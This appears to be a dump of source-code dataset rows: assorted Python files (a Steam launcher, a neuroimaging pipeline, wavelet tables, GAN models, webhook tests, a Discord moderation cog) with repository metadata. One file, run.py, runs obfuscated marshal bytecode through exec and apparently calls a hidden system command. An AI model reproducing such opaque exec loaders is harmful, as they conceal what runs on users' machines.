* Unless required by applicable law or ag... | 33.8 | 91 | 0.647165 | 1,171 | 10,478 | 5.648164 | 0.142613 | 0.018143 | 0.029029 | 0.045358 | 0.877533 | 0.874206 | 0.874206 | 0.86453 | 0.86453 | 0.86453 | 0 | 0.006375 | 0.266463 | 10,478 | 309 | 92 | 33.909385 | 0.85415 | 0.370681 | 0 | 0.760331 | 0 | 0 | 0.115906 | 0.061549 | 0 | 0 | 0 | 0 | 0.231405 | 1 | 0.115702 | false | 0 | 0.090909 | 0 | 0.223141 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
1b1655bbb2f4346030c17d048f4d1937e57e35ac | 245 | py | Python | 2 semester/PW/Coursera/Python/5 Week/3.py | kurpenok/Labs | 069c92b7964a1445d093313b38ebdc56318d2a73 | [
"MIT"
] | 1 | 2022-02-06T17:50:25.000Z | 2022-02-06T17:50:25.000Z | 2 semester/PW/Coursera/Python/5 Week/3.py | kurpenok/Labs | 069c92b7964a1445d093313b38ebdc56318d2a73 | [
"MIT"
] | null | null | null | 2 semester/PW/Coursera/Python/5 Week/3.py | kurpenok/Labs | 069c92b7964a1445d093313b38ebdc56318d2a73 | [
"MIT"
] | 1 | 2022-03-02T06:45:06.000Z | 2022-03-02T06:45:06.000Z | n = int(input())
for i in range(n):
print('+___', end=' ')
print()
for i in range(n):
print(f'|{i + 1} /', end=' ')
print()
for i in range(n):
print('|__\\', end=' ')
print()
for i in range(n):
print('| ', end=' ')
print()
| 13.611111 | 33 | 0.477551 | 38 | 245 | 2.947368 | 0.289474 | 0.142857 | 0.214286 | 0.392857 | 0.892857 | 0.892857 | 0.892857 | 0.892857 | 0.892857 | 0.892857 | 0 | 0.005435 | 0.24898 | 245 | 17 | 34 | 14.411765 | 0.603261 | 0 | 0 | 0.615385 | 0 | 0 | 0.110204 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.615385 | 0 | 0 | 0 | null | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 9 |
9445c86cfd8a494f57de78a4cb23843b41b36f62 | 38 | py | Python | careless/models/likelihoods/__init__.py | JBGreisman/careless | 8f6c0859973757d11b26b65d9dc51d443030aa70 | [
"MIT"
] | 5 | 2021-02-08T16:34:38.000Z | 2022-03-25T19:16:09.000Z | careless/models/likelihoods/__init__.py | JBGreisman/careless | 8f6c0859973757d11b26b65d9dc51d443030aa70 | [
"MIT"
] | 28 | 2021-01-15T21:31:40.000Z | 2022-03-30T21:06:54.000Z | careless/models/likelihoods/__init__.py | JBGreisman/careless | 8f6c0859973757d11b26b65d9dc51d443030aa70 | [
"MIT"
] | 5 | 2021-02-12T18:43:58.000Z | 2022-02-02T21:38:56.000Z | from . import laue
from . import mono
| 12.666667 | 18 | 0.736842 | 6 | 38 | 4.666667 | 0.666667 | 0.714286 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.210526 | 38 | 2 | 19 | 19 | 0.933333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
847bf7fe8866b6fd2ef150ff0acb8bf37cee918b | 346 | py | Python | default.py | wernerb/xbmc-steam-launcher | f49c196467f765aa7f7871f6db7f20ba2fd7d9c5 | [
"MIT"
] | 1 | 2016-02-03T11:13:58.000Z | 2016-02-03T11:13:58.000Z | default.py | wernerb/xbmc-steam-launcher | f49c196467f765aa7f7871f6db7f20ba2fd7d9c5 | [
"MIT"
] | null | null | null | default.py | wernerb/xbmc-steam-launcher | f49c196467f765aa7f7871f6db7f20ba2fd7d9c5 | [
"MIT"
] | null | null | null | import os
if os.name == 'nt':
pass # Windows
os.system('cscript //B //Nologo "%appdata%/XBMC/addons/script.steam.launcher/resources/LaunchHidden.vbs" "%appdata%/XBMC/addons/script.steam.launcher/resources/steam-launch.bat"')
else:
pass # other (unix)
os.system('$HOME/.xbmc/addons/script.steam.launcher/r... | 49.428571 | 183 | 0.722543 | 48 | 346 | 5.208333 | 0.5625 | 0.12 | 0.192 | 0.252 | 0.6 | 0.6 | 0.6 | 0.392 | 0 | 0 | 0 | 0 | 0.101156 | 346 | 7 | 184 | 49.428571 | 0.803859 | 0.057803 | 0 | 0.285714 | 0 | 0.142857 | 0.722222 | 0.648148 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0.285714 | 0.142857 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 7 |
84a0b83d92bd43bad0470c2738f7edc0991bf0a5 | 175 | py | Python | mwptoolkit/module/Strategy/__init__.py | ShubhamAnandJain/MWP-CS229 | ce86233504fdb37e104a3944fd81d4606fbfa621 | [
"MIT"
] | 71 | 2021-03-08T06:06:15.000Z | 2022-03-30T11:59:37.000Z | mwptoolkit/module/Strategy/__init__.py | ShubhamAnandJain/MWP-CS229 | ce86233504fdb37e104a3944fd81d4606fbfa621 | [
"MIT"
] | 13 | 2021-09-07T12:38:23.000Z | 2022-03-22T15:08:16.000Z | mwptoolkit/module/Strategy/__init__.py | ShubhamAnandJain/MWP-CS229 | ce86233504fdb37e104a3944fd81d4606fbfa621 | [
"MIT"
] | 21 | 2021-02-16T07:46:36.000Z | 2022-03-23T13:41:33.000Z | from __future__ import absolute_import
from __future__ import print_function
from __future__ import division
from mwptoolkit.module.Strategy import beam_search,greedy,sampling | 43.75 | 66 | 0.891429 | 23 | 175 | 6.130435 | 0.608696 | 0.212766 | 0.340426 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.085714 | 175 | 4 | 66 | 43.75 | 0.88125 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0.25 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
84b2e76d84ae55abf3ea46d895bd76be77edbf30 | 28,722 | py | Python | PyBASC/pipeline.py | AkiNikolaidis/BASC | 07ac80c1a22df84db8bdd30b09b881cecc8caf1d | [
"MIT"
] | 24 | 2017-09-22T07:47:27.000Z | 2021-09-10T07:04:59.000Z | PyBASC/pipeline.py | AkiNikolaidis/BASC | 07ac80c1a22df84db8bdd30b09b881cecc8caf1d | [
"MIT"
] | 19 | 2017-10-24T17:52:32.000Z | 2019-10-02T17:51:04.000Z | PyBASC/pipeline.py | AkiNikolaidis/BASC | 07ac80c1a22df84db8bdd30b09b881cecc8caf1d | [
"MIT"
] | 4 | 2017-11-17T00:47:32.000Z | 2020-11-02T17:56:14.000Z | import numpy as np
import nipype.pipeline.engine as pe
import nipype.interfaces.utility as util
from PyBASC.basc import (
group_dim_reduce,
nifti_individual_stability,
map_group_stability_random_bootstrap,
join_group_stability,
individual_group_clustered_maps,
post_analysis,
ndarray_to_vol
... | 30.170168 | 80 | 0.516503 | 2,494 | 28,722 | 5.561347 | 0.091018 | 0.026244 | 0.04124 | 0.038068 | 0.849676 | 0.810815 | 0.796611 | 0.760923 | 0.736914 | 0.726965 | 0 | 0.003948 | 0.391512 | 28,722 | 951 | 81 | 30.201893 | 0.789666 | 0.168512 | 0 | 0.716502 | 0 | 0 | 0.29362 | 0.105927 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004231 | false | 0 | 0.007052 | 0 | 0.016925 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
84d7b4203855581c1d79f5962b0ff2c61cee7e8d | 2,301 | py | Python | torpido/wavelet/wavelets/sym7.py | AP-Atul/Torpido | a646b4d6de7f2e2c96de4c64ce3113f53e3931c2 | [
"Unlicense"
] | 21 | 2020-12-23T07:13:10.000Z | 2022-01-12T10:32:22.000Z | wavelet/wavelets/sym7.py | AP-Atul/wavelets-ext | 00ced22462c369584ebd32f9b5f357f092de0142 | [
"MIT"
] | 2 | 2020-12-30T10:45:42.000Z | 2021-09-25T09:52:00.000Z | wavelet/wavelets/sym7.py | AP-Atul/wavelets-ext | 00ced22462c369584ebd32f9b5f357f092de0142 | [
"MIT"
] | 1 | 2021-02-06T21:39:41.000Z | 2021-02-06T21:39:41.000Z | """ Symlet 7 wavelet """
class Symlet7:
"""
Properties
----------
near symmetric, orthogonal, biorthogonal
All values are from http://wavelets.pybytes.com/wavelet/sym7/
"""
__name__ = "Symlet Wavelet 7"
__motherWaveletLength__ = 14 # length of the mother wavelet
__transformWavel... | 25.853933 | 72 | 0.619731 | 166 | 2,301 | 8.518072 | 0.349398 | 0.053748 | 0.059406 | 0.055163 | 0.718529 | 0.718529 | 0.718529 | 0.718529 | 0.718529 | 0.718529 | 0 | 0.631092 | 0.295524 | 2,301 | 88 | 73 | 26.147727 | 0.241209 | 0.126467 | 0 | 0.823529 | 0 | 0 | 0.008126 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0.117647 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
ca325d4ef977a0e8fcdcdeb871bbb22b105313aa | 283 | py | Python | spira/core/transforms/__init__.py | qedalab/spira | 32e4d2096e298b9fcc5952abd654312dc232a259 | [
"MIT"
] | 10 | 2018-07-13T09:46:21.000Z | 2021-06-22T13:34:50.000Z | spira/core/transforms/__init__.py | qedalab/spira | 32e4d2096e298b9fcc5952abd654312dc232a259 | [
"MIT"
] | 8 | 2018-09-09T11:32:40.000Z | 2019-10-08T07:47:31.000Z | spira/core/transforms/__init__.py | qedalab/spira | 32e4d2096e298b9fcc5952abd654312dc232a259 | [
"MIT"
] | 7 | 2019-01-17T18:50:17.000Z | 2022-01-13T20:27:52.000Z | from spira.core.transforms.identity import *
from spira.core.transforms.translation import *
from spira.core.transforms.rotation import *
from spira.core.transforms.reflection import *
from spira.core.transforms.magnification import *
from spira.core.transforms.stretching import *
| 35.375 | 49 | 0.826855 | 36 | 283 | 6.5 | 0.305556 | 0.230769 | 0.333333 | 0.589744 | 0.619658 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.088339 | 283 | 7 | 50 | 40.428571 | 0.906977 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
0467ac5d5c80b2cc3a53524621449a238ddb4c20 | 26,700 | py | Python | NormalFormGenerator.py | FelipeSulser/NonNashianGameTheory | 995ac7098efc8be393916f4f25b08406ff952207 | [
"Apache-2.0"
] | null | null | null | NormalFormGenerator.py | FelipeSulser/NonNashianGameTheory | 995ac7098efc8be393916f4f25b08406ff952207 | [
"Apache-2.0"
] | null | null | null | NormalFormGenerator.py | FelipeSulser/NonNashianGameTheory | 995ac7098efc8be393916f4f25b08406ff952207 | [
"Apache-2.0"
] | null | null | null | import itertools
import json
import random
from numpy import transpose, roll, reshape, meshgrid, arange, empty
from functools import reduce
import copy
import numpy as np
import math
import argparse
import os
'''
Public functions used to generate Normal Form Games
'''
def generate_games(num_actions, num_players, d... | 36.227951 | 116 | 0.58236 | 3,236 | 26,700 | 4.548826 | 0.062423 | 0.055707 | 0.028804 | 0.026902 | 0.900204 | 0.885122 | 0.875611 | 0.852921 | 0.822147 | 0.810122 | 0 | 0.011266 | 0.331798 | 26,700 | 737 | 117 | 36.227951 | 0.8138 | 0.15764 | 0 | 0.843874 | 0 | 0 | 0.001631 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.035573 | false | 0 | 0.019763 | 0.001976 | 0.083004 | 0.001976 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
8e34e8d83bb0e49caa18487cee93cc4c2ccc1adc | 995 | py | Python | tests/test_label_pixelcount_map.py | elsandal/pyclesperanto_prototype | 7bda828813b86b44b63d73d5e8f466d9769cded1 | [
"BSD-3-Clause"
] | 64 | 2020-03-18T12:11:22.000Z | 2022-03-31T08:19:18.000Z | tests/test_label_pixelcount_map.py | elsandal/pyclesperanto_prototype | 7bda828813b86b44b63d73d5e8f466d9769cded1 | [
"BSD-3-Clause"
] | 148 | 2020-05-14T06:14:11.000Z | 2022-03-26T15:02:31.000Z | tests/test_label_pixelcount_map.py | elsandal/pyclesperanto_prototype | 7bda828813b86b44b63d73d5e8f466d9769cded1 | [
"BSD-3-Clause"
] | 16 | 2020-05-31T00:53:44.000Z | 2022-03-23T13:20:57.000Z | import pyclesperanto_prototype as cle
import numpy as np
def test_label_pixel_count_map():
labels = cle.push(np.asarray([
[1, 1, 2],
[1, 0, 0],
[3, 3, 0]
]))
reference = cle.push(np.asarray([
[3, 3, 1],
[3, 0, 0],
[2, 2, 0]
]
))
result = cle.la... | 15.075758 | 46 | 0.442211 | 128 | 995 | 3.296875 | 0.234375 | 0.094787 | 0.14218 | 0.170616 | 0.881517 | 0.881517 | 0.763033 | 0.763033 | 0.763033 | 0.763033 | 0 | 0.061873 | 0.398995 | 995 | 65 | 47 | 15.307692 | 0.643813 | 0 | 0 | 0.782609 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.043478 | 1 | 0.043478 | false | 0 | 0.043478 | 0 | 0.086957 | 0.086957 | 0 | 0 | 0 | null | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
8e3cd57cd00b847a6385ffda7d9e41de917cfbff | 51,742 | py | Python | buildbot_gitea/test/test_webhook.py | wzzrd/buildbot-gitea | 294160ad830cffa5b6240bcbc7ebe0563dc4d3fb | [
"MIT"
] | null | null | null | buildbot_gitea/test/test_webhook.py | wzzrd/buildbot-gitea | 294160ad830cffa5b6240bcbc7ebe0563dc4d3fb | [
"MIT"
] | null | null | null | buildbot_gitea/test/test_webhook.py | wzzrd/buildbot-gitea | 294160ad830cffa5b6240bcbc7ebe0563dc4d3fb | [
"MIT"
] | null | null | null | import buildbot.www.change_hook as change_hook
from buildbot.test.fake.web import FakeRequest
from buildbot.test.fake.web import fakeMasterForHooks
from buildbot.test.util.misc import TestReactorMixin
from buildbot.secrets.manager import SecretManager
from buildbot.test.fake.secrets import FakeSecretStorage
from ... | 34.633199 | 146 | 0.582351 | 5,161 | 51,742 | 5.682232 | 0.066266 | 0.047739 | 0.042999 | 0.043579 | 0.863739 | 0.850849 | 0.837857 | 0.833356 | 0.823535 | 0.801746 | 0 | 0.070374 | 0.257953 | 51,742 | 1,493 | 147 | 34.656397 | 0.693424 | 0.002667 | 0 | 0.801399 | 0 | 0.006294 | 0.733855 | 0.111359 | 0 | 0 | 0 | 0 | 0.051049 | 1 | 0.018182 | false | 0.000699 | 0.006993 | 0.001399 | 0.030769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
f3f20ca017600576d62683a21a6ced0039ed6cf6 | 102 | py | Python | flask_auth/app/extensions/restful/rest_framework.py | GabrielCarneiroDeveloper/flask-blueprint-factory-app | b133ddc0de7d2780e6705ad115749522b69587cb | [
"MIT"
] | 8 | 2020-03-19T06:14:26.000Z | 2021-04-08T18:36:33.000Z | flask_auth/app/extensions/restful/rest_framework.py | gabrielkrneiro/flask-blueprint-factory-app | b133ddc0de7d2780e6705ad115749522b69587cb | [
"MIT"
] | 5 | 2020-05-02T20:43:25.000Z | 2020-05-10T11:05:02.000Z | flask_auth/app/extensions/restful/rest_framework.py | gabrielkrneiro/flask-blueprint-factory-app | b133ddc0de7d2780e6705ad115749522b69587cb | [
"MIT"
] | 1 | 2020-11-30T14:52:34.000Z | 2020-11-30T14:52:34.000Z | from flask import Flask
from flask_restful import Api
def init_app(app: Flask):
return Api(app)
| 14.571429 | 29 | 0.754902 | 17 | 102 | 4.411765 | 0.529412 | 0.24 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186275 | 102 | 6 | 30 | 17 | 0.903614 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.25 | false | 0 | 0.5 | 0.25 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 7 |
f3fc6613b902a76bd396e069a6449563dc86d1ce | 37,454 | py | Python | sdk/compute/azure-mgmt-vmwarecloudsimple/azure/mgmt/vmwarecloudsimple/operations/_virtual_machines_operations.py | iscai-msft/azure-sdk-for-python | 83715b95c41e519d5be7f1180195e2fba136fc0f | [
"MIT"
] | 8 | 2021-01-13T23:44:08.000Z | 2021-03-17T10:13:36.000Z | sdk/compute/azure-mgmt-vmwarecloudsimple/azure/mgmt/vmwarecloudsimple/operations/_virtual_machines_operations.py | iscai-msft/azure-sdk-for-python | 83715b95c41e519d5be7f1180195e2fba136fc0f | [
"MIT"
] | 226 | 2019-07-24T07:57:21.000Z | 2019-10-15T01:07:24.000Z | sdk/compute/azure-mgmt-vmwarecloudsimple/azure/mgmt/vmwarecloudsimple/operations/_virtual_machines_operations.py | iscai-msft/azure-sdk-for-python | 83715b95c41e519d5be7f1180195e2fba136fc0f | [
"MIT"
] | 2 | 2020-05-11T17:10:27.000Z | 2021-01-02T16:15:35.000Z | # coding=utf-8
# --------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for
# license information.
#
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes ... | 47.35019 | 184 | 0.663294 | 3,951 | 37,454 | 6.060997 | 0.064288 | 0.045016 | 0.038335 | 0.030317 | 0.915313 | 0.900405 | 0.893557 | 0.889088 | 0.871257 | 0.870172 | 0 | 0.003184 | 0.245288 | 37,454 | 790 | 185 | 47.410127 | 0.843988 | 0.255113 | 0 | 0.777283 | 0 | 0.002227 | 0.151128 | 0.071057 | 0 | 0 | 0 | 0 | 0 | 1 | 0.051225 | false | 0 | 0.011136 | 0 | 0.126949 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6d05e53d0c06bb24d69fad0a3f03cab7b3523021 | 50,734 | py | Python | cogs/moderation.py | NieR1711/Fire | 0287fb4ef37efd5f48909a38695ad5a17c67b013 | [
"MIT"
] | null | null | null | cogs/moderation.py | NieR1711/Fire | 0287fb4ef37efd5f48909a38695ad5a17c67b013 | [
"MIT"
] | null | null | null | cogs/moderation.py | NieR1711/Fire | 0287fb4ef37efd5f48909a38695ad5a17c67b013 | [
"MIT"
] | null | null | null | """
MIT License
Copyright (c) 2019 GamingGeek
Permission is hereby granted, free of charge, to any person obtaining a copy of this software
and associated documentation files (the "Software"), to deal in the Software without restriction,
including without limitation the rights to use, copy, modify, merge, publi... | 45.830172 | 240 | 0.667521 | 6,950 | 50,734 | 4.816403 | 0.069496 | 0.029396 | 0.021509 | 0.022585 | 0.809763 | 0.782129 | 0.765848 | 0.752943 | 0.731254 | 0.713658 | 0 | 0.018112 | 0.182698 | 50,734 | 1,106 | 241 | 45.871609 | 0.789172 | 0.046773 | 0 | 0.704752 | 0 | 0.068756 | 0.225871 | 0.07117 | 0 | 0 | 0 | 0 | 0 | 1 | 0.004044 | false | 0.035389 | 0.012133 | 0 | 0.059656 | 0.002022 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6d2c42c46ce2b41d9487a7af21b7888d196cd07e | 3,837 | py | Python | models/discriminators/snresnet64.py | yonggyu94/TACGAN | f3c34f1636bf8a38be825471af0730163dfbfce8 | [
"MIT"
] | null | null | null | models/discriminators/snresnet64.py | yonggyu94/TACGAN | f3c34f1636bf8a38be825471af0730163dfbfce8 | [
"MIT"
] | null | null | null | models/discriminators/snresnet64.py | yonggyu94/TACGAN | f3c34f1636bf8a38be825471af0730163dfbfce8 | [
"MIT"
] | null | null | null | import torch
import torch.nn as nn
import torch.nn.functional as F
from torch.nn import init
from torch.nn import utils
from models.discriminators.resblocks import Block
from models.discriminators.resblocks import OptimizedBlock
class Omniglot_Discriminator(nn.Module):
def __init__(self, num_features=32, num_cl... | 34.881818 | 74 | 0.609851 | 511 | 3,837 | 4.360078 | 0.1409 | 0.138241 | 0.064632 | 0.091562 | 0.906643 | 0.83842 | 0.83842 | 0.810592 | 0.771993 | 0.771993 | 0 | 0.021238 | 0.288246 | 3,837 | 109 | 75 | 35.201835 | 0.794581 | 0.007558 | 0 | 0.729412 | 0 | 0 | 0.001577 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.070588 | false | 0 | 0.082353 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
6122b93d979e921a9799ec641b0843ae9a17bddc | 15,597 | py | Python | aoc/src/8.py | 1pkg/dump | 0ee579cb6a97ae64d5367cc624b2407d7d4b1c7b | [
"MIT"
] | null | null | null | aoc/src/8.py | 1pkg/dump | 0ee579cb6a97ae64d5367cc624b2407d7d4b1c7b | [
"MIT"
] | 3 | 2020-12-11T10:01:27.000Z | 2022-02-13T22:12:05.000Z | aoc/src/8.py | 1pkg/dump | 0ee579cb6a97ae64d5367cc624b2407d7d4b1c7b | [
"MIT"
] | null | null | null | def split(word):
return [int(char) for char in word]
data = '22222120221222212222221122222222222222222222220222202222222222200222122222222222022220222220212222202022222202102022002212222222222022222220222222222222222120220222212222222222222222222222222222220222202222222222202222022222222222022221222221222222222022222... | 421.540541 | 15,009 | 0.984484 | 120 | 15,597 | 127.841667 | 0.283333 | 0.002607 | 0.001304 | 0.000782 | 0.00339 | 0.002477 | 0.002477 | 0 | 0 | 0 | 0 | 0.971608 | 0.008656 | 15,597 | 37 | 15,010 | 421.540541 | 0.020567 | 0 | 0 | 0.064516 | 0 | 0 | 0.961662 | 0.961662 | 0 | 1 | 0 | 0 | 0 | 1 | 0.032258 | false | 0 | 0 | 0.032258 | 0.064516 | 0.064516 | 0 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
fced20358e30d0fe1455529d69cb0a9eb9aea294 | 661 | py | Python | run.py | Cyberk4nd4S/Ambyar-HomeTermux | 5062b7c0ed47a35ed4014952a860476a3aada2e1 | [
"Apache-2.0"
] | null | null | null | run.py | Cyberk4nd4S/Ambyar-HomeTermux | 5062b7c0ed47a35ed4014952a860476a3aada2e1 | [
"Apache-2.0"
] | null | null | null | run.py | Cyberk4nd4S/Ambyar-HomeTermux | 5062b7c0ed47a35ed4014952a860476a3aada2e1 | [
"Apache-2.0"
] | null | null | null | # Coders by : Cyberk4nd4S
# buat : Kamis, 10 jan 2019 [10:28]
import marshal
exec(marshal.loads('''c\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00@\x00\x00\x00s)\x00\x00\x00d\x00\x00d\x01\x00l\x00\x00Z\x00\x00d\x00\x00d\x01\x00l\x01\x00Z\x01\x00e\x00\x00j\x02\x00d\x02\x00\x83\x01\x00\x01d\x01\x00S(\x03\x00\x00\x00i\... | 110.166667 | 582 | 0.76702 | 134 | 661 | 3.61194 | 0.380597 | 0.433884 | 0.390496 | 0.371901 | 0.252066 | 0.252066 | 0.117769 | 0.117769 | 0.068182 | 0.068182 | 0 | 0.329705 | 0.027231 | 661 | 5 | 583 | 132.2 | 0.423017 | 0.086233 | 0 | 0 | 0 | 0.5 | 0.923461 | 0.921797 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 12 |
1e20febf7e169b7ffefd0a6fbf00b46454b4868a | 2,894 | py | Python | gym_socks/envs/tests/test_integrator.py | ajthor/socks | 77063064ceb5a5da3f01733bef0885b00d4b2bed | [
"MIT"
] | null | null | null | gym_socks/envs/tests/test_integrator.py | ajthor/socks | 77063064ceb5a5da3f01733bef0885b00d4b2bed | [
"MIT"
] | 1 | 2021-11-09T21:15:26.000Z | 2021-11-09T21:15:26.000Z | gym_socks/envs/tests/test_integrator.py | ajthor/socks | 77063064ceb5a5da3f01733bef0885b00d4b2bed | [
"MIT"
] | null | null | null | import unittest
from unittest.mock import patch
import gym
from gym_socks.envs.integrator import NDIntegratorEnv
import numpy as np
class TestIntegratorSystem(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls.env = NDIntegratorEnv(2)
@patch.object(NDIntegratorEnv, "generate_disturbance... | 27.826923 | 75 | 0.47132 | 350 | 2,894 | 3.834286 | 0.222857 | 0.056632 | 0.076006 | 0.050671 | 0.814456 | 0.814456 | 0.814456 | 0.73696 | 0.73696 | 0.647541 | 0 | 0.132394 | 0.386662 | 2,894 | 103 | 76 | 28.097087 | 0.623662 | 0.039737 | 0 | 0.775 | 0 | 0 | 0.014451 | 0 | 0 | 0 | 0 | 0 | 0.025 | 1 | 0.0375 | false | 0 | 0.0625 | 0 | 0.1125 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
94a164b691bb414c681b3d4970051e3dad5864df | 40,377 | py | Python | src/v5.3/enrollment/swagger_client/api/students_api.py | xmarcosx/edfi-notebook | 0564ebdf1d0f45a9d25056e7e61369f0a837534d | [
"Apache-2.0"
